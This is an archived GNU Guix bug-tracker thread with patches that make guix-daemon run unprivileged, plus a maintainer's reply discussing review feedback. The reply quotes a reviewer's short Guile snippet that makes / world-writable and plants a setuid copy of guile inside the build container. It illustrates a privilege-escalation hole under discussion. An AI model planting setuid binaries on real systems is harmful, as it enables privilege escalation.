+	    printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message);
+	}
+    }
 }
 
 
-- 
2.48.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 9/9] guix-install.sh: Support the unprivileged daemon where possible.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:04 +0000
Resent-Message-ID: <handler.75810.B75810.173944883514060 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944883514060
          (code B ref 75810); Thu, 13 Feb 2025 12:14:04 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:55 +0000
Received: from localhost ([127.0.0.1]:41138 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6M-0003ec-I4
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:55 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:41590)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY65-0003cl-Tb
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:39 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY60-0001Dd-Ik; Thu, 13 Feb 2025 07:13:32 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=1rCJ8nHLWbW07YSX+p8fFleVwPMsQATsuCgNH7lgBhY=; b=sZdI5b+j4u5+MGlvoq0F
 KF73lz5gFGF634y+I710soMF4QEEIcwEcfqVZLA03sjMQ39UNO5U7i5E56iBGQAEd2D366bZDtJsf
 bBYxl6/+DlpDtTMPGvRE+nhfkEdZk/m65/UvVVBWPRwpVydYYzWWB6kUAxl+gAyyqens1LRuvKDUH
 F5i+xIhne/Sma7IG4zc37gxPmqm8f9IqIXO2LJox2nDgj4NZ6KUJ55gD7uphcmfUqUrkuF3x1QM0L
 o4DEHMSovpAmxnLd0jrUFyLtACzMF94Lw5a6MhGCVNeKL4fYJ1kGFGwzv33M6+i1ZaRhdRYqxQDkJ
 Lo0J1T3ew3Rz3A==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:12 +0100
Message-ID: <107f6e7972e083aa645e8a1bc121750c4d94fc1f.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-install.sh (create_account): New function.
(sys_create_build_user): Use it.  When ‘guix-daemon.service’ contains
“User=guix-daemon” only create the ‘guix-daemon’ user and group.
(sys_delete_build_user): Delete the ‘guix-daemon’ user and group.
(can_install_unprivileged_daemon): New function.
(sys_create_store): When installing the unprivileged daemon, change
ownership of /gnu and /var/guix, and create /var/log/guix.
(sys_authorize_build_farms): When the ‘guix-daemon’ account exists,
change ownership of /etc/guix.
(sys_enable_guix_daemon): Do not install ‘gnu-store.mount’ when running
an unprivileged daemon.

Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9
---
 etc/guix-install.sh | 114 +++++++++++++++++++++++++++++++++++---------
 1 file changed, 91 insertions(+), 23 deletions(-)

diff --git a/etc/guix-install.sh b/etc/guix-install.sh
index f07b2741bb9..4f08eff8476 100755
--- a/etc/guix-install.sh
+++ b/etc/guix-install.sh
@@ -389,6 +389,11 @@ sys_create_store()
     cd "$tmp_path"
     _msg "${INF}Installing /var/guix and /gnu..."
     # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’.
+    #
+    # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing
+    # and unprivileged guix-daemon service; for now, this script may install
+    # from both an old release that does not support unprivileged guix-daemon
+    # and a new release that does, so ‘chown -R’ later if needed.
     tar --extract --strip-components=1 --file "$pkg" -C /
 
     _msg "${INF}Linking the root user's profile"
@@ -414,38 +419,82 @@ sys_delete_store()
     rm -rf ~root/.config/guix
 }
 
+create_account()
+{
+    local user="$1"
+    local group="$2"
+    local supplementary_groups="$3"
+    local comment="$4"
+
+    if id "$user" &>/dev/null; then
+	_msg "${INF}user '$user' is already in the system, reset"
+	usermod -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" "$user"
+    else
+	useradd -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" --system "$user"
+	_msg "${PAS}user added <$user>"
+    fi
+}
+
+can_install_unprivileged_daemon()
+{ # Return true if we can install guix-daemon running without privileges.
+    [ "$INIT_SYS" = systemd ] && \
+	grep -q "User=guix-daemon" \
+	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \
+	&& ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ])
+}
+
 sys_create_build_user()
 { # Create the group and user accounts for build users.
 
     _debug "--- [ ${FUNCNAME[0]} ] ---"
 
-    if getent group guixbuild > /dev/null; then
-        _msg "${INF}group guixbuild exists"
-    else
-        groupadd --system guixbuild
-        _msg "${PAS}group <guixbuild> created"
-    fi
-
     if getent group kvm > /dev/null; then
         _msg "${INF}group kvm exists and build users will be added to it"
         local KVMGROUP=,kvm
     fi
 
-    for i in $(seq -w 1 10); do
-        if id "guixbuilder${i}" &>/dev/null; then
-            _msg "${INF}user is already in the system, reset"
-            usermod -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i"             \
-                    "guixbuilder${i}";
-        else
-            useradd -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i" --system    \
-                    "guixbuilder${i}";
-            _msg "${PAS}user added <guixbuilder${i}>"
-        fi
-    done
+    if [ "$INIT_SYS" = systemd ] && \
+	   grep -q "User=guix-daemon" \
+		~root/.config/guix/current/lib/systemd/system/guix-daemon.service
+    then
+	if getent group guix-daemon > /dev/null; then
+	    _msg "${INF}group guix-daemon exists"
+	else
+	    groupadd --system guix-daemon
+	    _msg "${PAS}group guix-daemon created"
+	fi
+
+	create_account guix-daemon guix-daemon		\
+		       guix-daemon$KVMGROUP		\
+		       "Unprivileged Guix Daemon User"
+
+	# ‘tar xf’ creates root:root files.  Change that.
+	chown -R guix-daemon:guix-daemon	\
+	      /gnu /var/guix
+
+	# The unprivileged cannot create the log directory by itself.
+	mkdir /var/log/guix
+	chown guix-daemon:guix-daemon /var/log/guix
+	chmod 755 /var/log/guix
+    else
+	if getent group guixbuild > /dev/null; then
+            _msg "${INF}group guixbuild exists"
+	else
+            groupadd --system guixbuild
+            _msg "${PAS}group <guixbuild> created"
+	fi
+
+	for i in $(seq -w 1 10); do
+	    create_account "guixbuilder${i}" "guixbuild"	\
+	                   "guixbuild${KVMGROUP}"		\
+			   "Guix build user $i"
+	done
+    fi
 }
 
 sys_delete_build_user()
@@ -460,6 +509,14 @@ sys_delete_build_user()
     if getent group guixbuild &>/dev/null; then
         groupdel -f guixbuild
     fi
+
+    _msg "${INF}remove guix-daemon user"
+    if id guix-daemon &>/dev/null; then
+	userdel -f guix-daemon
+    fi
+    if getent group guix-daemon &>/dev/null; then
+	groupdel -f guix-daemon
+    fi
 }
 
 sys_enable_guix_daemon()
@@ -503,7 +560,14 @@ sys_enable_guix_daemon()
               # Install after guix-daemon.service to avoid a harmless warning.
               # systemd .mount units must be named after the target directory.
               # Here we assume a hard-coded name of /gnu/store.
-              install_unit gnu-store.mount
+	      #
+	      # FIXME: This feature is unavailable when running an
+	      # unprivileged daemon.
+	      if ! grep -q "User=guix-daemon" \
+		   /etc/systemd/system/guix-daemon.service
+	      then
+		  install_unit gnu-store.mount
+	      fi
 
               systemctl daemon-reload &&
                   systemctl start  guix-daemon; } &&
@@ -627,6 +691,10 @@ project's build farms?"; then
 		&& guix archive --authorize < "$key" \
 		&& _msg "${PAS}Authorized public key for $host"
 	done
+	if id guix-daemon &>/dev/null; then
+	    # /etc/guix/acl must be readable by the unprivileged guix-daemon.
+	    chown -R guix-daemon:guix-daemon /etc/guix
+	fi
     else
         _msg "${INF}Skipped authorizing build farm public keys"
     fi
-- 
2.48.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 3/9] daemon: Remount inputs as read-only.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:05 +0000
Resent-Message-ID: <handler.75810.B75810.173944883914071 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Reepca Russelstein <reepca@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944883914071
          (code B ref 75810); Thu, 13 Feb 2025 12:14:05 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:59 +0000
Received: from localhost ([127.0.0.1]:41140 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6N-0003ej-5f
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:58 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51210)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5z-0003cJ-V8
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:39 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5u-0001Br-9A; Thu, 13 Feb 2025 07:13:26 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=BOeQoIgQrfkZtIX93BwNljFCfZnlkIb/zLXPFnLkIxI=; b=gxlH90pnYCnG/xTuctH8
 fAOISy6CqyIuwMEDz/hN9atylBjrKRFr6TWC939E/4JY9k66j4/WySxWaSBaZhnRHBl8dmz/ZXNKf
 8Bn5gsTwkeA4cNudbPPwMc+w3crleX4kuqAGwqXEa06ji7xizESnOYV+1A4SG2Q1EfBXLxRxGVq0B
 +W7K1GWe6h5txqcmQQ8jwVUJ53IsGp2zwGTIqtLgsDaJTo5UmovlIiZfWncSuoUUGQpCnf+w5J4nX
 gIUPTTP9g8GXu1rGwefBw5Np70c6pc+r4CrZoAsq0lar3seaazbiCLQGrpqZ3ArqA3TZodkYwYnyp
 bdPDjK3eoAum8g==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:06 +0100
Message-ID: <15b9f858aa6c636cd02801c35bbcc467a184d1b0.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.3 (/)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.3 (-)

* nix/libstore/build.cc (DerivationGoal::runChild): Remount ‘target’ as
read-only.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: Ib7201bcf4363be566f205d23d17fe2f55d3ad666
---
 nix/libstore/build.cc | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index f4cd2131c84..7151bb6c6f1 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2094,8 +2094,15 @@ void DerivationGoal::runChild()
                     createDirs(dirOf(target));
                     writeFile(target, "");
                 }
+
+		/* Extra flags passed with MS_BIND are ignored, hence the
+		   extra MS_REMOUNT.  */
                 if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1)
                     throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target);
+		if (source != tmpDir) {
+		     if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+			  throw SysError(format("read-only remount of `%1%' failed") % target);
+		}
             }
 
             /* Bind a new instance of procfs on /proc to reflect our
-- 
2.48.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 8/9] etc: systemd services: Run =?UTF-8?Q?=E2=80=98guix-daemon=E2=80=99?= as an unprivileged user.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:05 +0000
Resent-Message-ID: <handler.75810.B75810.173944884014079 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944884014079
          (code B ref 75810); Thu, 13 Feb 2025 12:14:05 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:14:00 +0000
Received: from localhost ([127.0.0.1]:41142 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6R-0003f0-HF
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:59 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:41578)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY64-0003ci-Ma
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:38 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5z-0001DJ-Bn; Thu, 13 Feb 2025 07:13:31 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=SAvT4z24GIwTeHQpKPl/539zwByt/TDk4vE7n2M+zME=; b=h67w/jtcHIqsVB0qmmG/
 J1P84SrKP159YVZ48w2RdQ5zmVLh4hcTg/pqsYAMb/KWtPHDEJN6r1BQ+W2gQOceyNh6eqgStuXBd
 NKm/slJV7BfdYqkU2rhGBHEn11h3EHcc+qpHBNv1x79WuIg7dGTwYaKpOxRoIOT/tBrm+PzYQc5EM
 P1yklga+NAWB+R9T4ExkvKtUqRGB6SfyBgi+NlxEKRb+7Cx1PfAiWWTLZOQ96SPG8t75onsSQQO6r
 nhx1ePt1ZPQw0syI192uNy8QoukIWfnJ18A/Duco0u6Ug16KF2ghrH27CrdAqwgMJE/G5WJKno0se
 f1rv3opQEQiLiA==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:11 +0100
Message-ID: <a706daddbcc0193cda052bd3e0c76c6cf355a9bf.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’.
(User, AmbientCapabilities): New fields.

Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e
---
 etc/guix-daemon.service.in | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in
index 5c43d9b7f1b..f9f0b28b356 100644
--- a/etc/guix-daemon.service.in
+++ b/etc/guix-daemon.service.in
@@ -7,9 +7,19 @@ Description=Build daemon for GNU Guix
 
 [Service]
 ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \
-    --build-users-group=guixbuild --discover=no \
+    --discover=no \
     --substitute-urls='@GUIX_SUBSTITUTE_URLS@'
 Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+
+# Run under a dedicated unprivileged user account.
+User=guix-daemon
+
+# Provide the CAP_CHOWN capability so that guix-daemon cran create and chown
+# /var/guix/profiles/per-user/$USER and also chown failed build directories
+# when using '--keep-failed'.  Note that guix-daemon explicitly drops ambient
+# capabilities before executing build processes so they don't inherit them.
+AmbientCapabilities=CAP_CHOWN
+
 StandardOutput=journal
 StandardError=journal
 
-- 
2.48.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 13:30:02 +0000
Resent-Message-ID: <handler.75810.B75810.173945336318419 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: Reepca Russelstein <reepca@HIDDEN>
Cc: 75810 <at> debbugs.gnu.org
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173945336318419
          (code B ref 75810); Thu, 13 Feb 2025 13:30:02 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 13:29:23 +0000
Received: from localhost ([127.0.0.1]:41379 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiZHO-0004mw-U8
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 08:29:23 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:38006)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiZHN-0004mf-3G
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 08:29:21 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiZHF-0005ZU-Ay; Thu, 13 Feb 2025 08:29:13 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=l/esS911RSdwAeAkcZ+SdNMpJFVwnU9hjVw/Fq6zTes=; b=MyCTQ0mKX9OSWlgfSKR9
 mBc3IN+gz/rabYfreyLNie+m3D31Q30wiMlM52JMhjuRck6CZCTAsd+bkyypuc4HrV8Yx4lbx6LxF
 TTkjnyChIrxfjTZZ+5HSeENKDHPWW4KO70bj9mKVQc+vEuE1q4MKkhGTNDwRvZOUQCqZoy+qTqkX+
 fOanrkH/77HQso3gA89pRDKbmQJBoQo447Wfe26PK6JI68E3LPoiQ3ciCi9WGvGHgv0Ds/tWq6A9G
 XZ9VDwmlOquAJP2nfjAzL+HhrELKpRpeTDsNyPQveVBCQFktpHcrYjiW5yAiMfLZFVYz2BI6cHS/2
 KROoIBlQP3Tv8w==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
In-Reply-To: <875xluehn7.fsf@HIDDEN> (Reepca Russelstein's message of
 "Fri, 31 Jan 2025 16:35:24 -0600")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN>
Date: Thu, 13 Feb 2025 14:29:10 +0100
Message-ID: <877c5u2ct5.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hello Reepca,

Thanks a lot for your feedback, very useful as always.

I=E2=80=99ve sent a v2 addressing some of the issues you mentioned before.

Crucially, this one remains:

>       #~(let ((guile (string-append (assoc-ref %guile-build-info
>                                                'bindir)
>                                     "/guile")))
>           (chmod "/" #o777)
>           (copy-file guile "/guile")
>           (chmod "/guile" #o6755)
>           (sleep 1000)

That is, / is currently writable inside the build environment, and
that=E2=80=99s:

  1. a security issue, but it could be addressed with a /top
     sub-directory as you wrote;

  2. a reproducibility issue because a build process now be able to
     create/modify files anywhere.

I looked for solutions to this and couldn=E2=80=99t find anything so far.

In particular, re-mounting / read-only makes everything beneath it
read-only, including mount points that were initially read-write.  It
might be that the wealth of MS_ options could be used to address that,
but honestly, it=E2=80=99s a mess and a maze (=E2=80=9Cshared subtrees=E2=
=80=9D?).
Alternatively, I wondered if we could make / owned by the overflow user,
but that=E2=80=99s probably not possible.

Perhaps yet another option would be to use subordinate IDs to map two
different users in the container, but that sounds more involved and I=E2=80=
=99m
not sure how to get that done.

Thoughts?

Ludo=E2=80=99.





Last modified: Thu, 13 Feb 2025 13:45:02 UTC

GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997 nCipher Corporation Ltd, 1994-97 Ian Jackson.